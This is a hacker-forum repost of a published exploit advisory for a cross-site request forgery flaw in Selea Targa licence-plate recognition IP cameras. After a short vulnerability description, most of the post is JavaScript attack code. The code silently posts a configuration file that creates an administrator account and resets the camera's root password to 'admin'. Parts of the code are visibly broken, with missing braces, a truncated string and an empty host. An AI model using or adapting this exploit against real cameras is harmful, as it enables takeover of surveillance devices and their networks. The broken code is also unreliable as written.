Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Selea Targa IP OCR-ANPR Camera - CSRF Add Admin


Recommended Posts

# Exploit Title: Selea Targa IP OCR-ANPR Camera - CSRF Add Admin
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera CSRF Add Admin Exploit

Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                  CPS: 4.013(201105)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: GNU/Linux 3.10.53 (armv7l)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2021-5618
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5618.php



Add Admin:

      function submitRequest()
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/\/save_params.php", true);
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=cfgboundary-----------------------1607475234133");
        xhr.withCredentials = true;
        var body = "--cfgboundary-----------------------1607475234133\r\n" + 
          "Content-Disposition: form-data; name=\"set_params\"\r\n" + 
          "\r\n" + 
          "upload\r\n" + 
          "--cfgboundary-----------------------1607475234133\r\n" + 
          "Content-Disposition: form-data; name=\"user_file\"; filename=\"set_params.dat\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "[SECURITY.USERS]\r\n" + 
          "security-users-0-username = testingus\r\n" + 
          "security-users-0-password = testingus\r\n" + 
          "security-users-0-rights = 2\r\n" + 
          "security-users-1-username = \r\n" + 
          "security-users-1-password = \r\n" + 
          "security-users-1-rights = 0\r\n" + 
          "security-users-2-username = \r\n" + 
          "security-users-2-password = \r\n" + 
          "security-users-2-rights = 0\r\n" + 
          "security-users-3-username = \r\n" + 
          "security-users-3-password = \r\n" + 
          "security-users-3-rights = 0\r\n" + 
          "security-allow_viewers_storage_access = 1\r\n" + 
          "CFG_ROOTPASS = admin\r\n" + 
          "\r\n" + 
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
    <form action="#">
      <input type="button" value="Add Admin" onclick="submitRequest();" />
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...